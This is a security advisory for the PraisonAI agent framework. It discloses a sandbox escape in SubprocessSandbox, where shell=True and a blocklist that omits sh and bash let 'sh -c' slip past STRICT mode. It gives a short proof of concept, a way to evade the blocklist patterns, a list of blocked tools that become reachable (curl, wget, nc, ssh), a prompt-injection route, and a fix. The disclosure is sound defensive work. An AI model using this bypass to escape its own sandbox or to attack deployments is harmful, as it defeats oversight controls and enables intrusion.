VDB
KO
HIGH 8.8

GHSA-r4f2-3m54-pp7q

PraisonAI Has Sandbox Escape via shell=True and Bypassable Blocklist in SubprocessSandbox

Details

### Summary

`SubprocessSandbox` in all modes (BASIC, STRICT, NETWORK_ISOLATED) calls `subprocess.run()` with `shell=True` and relies solely on string-pattern matching to block dangerous commands. The blocklist does not include `sh` or `bash` as standalone executables, allowing trivial sandbox escape in STRICT mode via `sh -c '<command>'`.

### Details

`sandbox_executor.py:179` (source) -> `sandbox_executor.py:326` (sink) ```python # source -- string-pattern blocklist, sh and bash not in blocked_commands cmd_name = Path(parts[0]).name if cmd_name in self.policy.blocked_commands: # sh, bash not blocked raise SecurityError(...) dangerous_patterns = [ ("| sh", ...), # requires space -- "id|bash" evades this ("| bash", ...), # requires space ]

# sink -- shell=True spawns /bin/sh regardless of sandbox mode result = subprocess.run( command, shell=True, ... ) ```

### PoC ```python # tested on: praisonai==4.5.87 (source install) # install: pip install -e src/praisonai import sys sys.path.insert(0, 'src/praisonai') from praisonai.cli.features.sandbox_executor import SubprocessSandbox, SandboxPolicy, SandboxMode

policy = SandboxPolicy.for_mode(SandboxMode.STRICT) sandbox = SubprocessSandbox(policy=policy)

result = sandbox.execute("sh -c 'id'") print(result.stdout) # expected output: uid=1000(narey) gid=1000(narey) groups=1000(narey)... ```

### Impact

Users who deploy with `--sandbox strict` have no meaningful OS-level isolation. Any command blocked by the policy (curl, wget, nc, ssh) is trivially reachable via `sh -c '<blocked_command>'`. Combined with agent prompt injection, an attacker can escape the sandbox and reach the network, filesystem, and cloud metadata services.

### Suggested Fix ```python import shlex

result = subprocess.run( shlex.split(command), shell=False, cwd=cwd, env=env, capture_output=capture_output, text=True, timeout=timeout ) ```

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Affected packages

PyPI / praisonai
Introduced in: 0 Fixed in: 4.5.97
Fix pip install --upgrade 'praisonai>=4.5.97'

References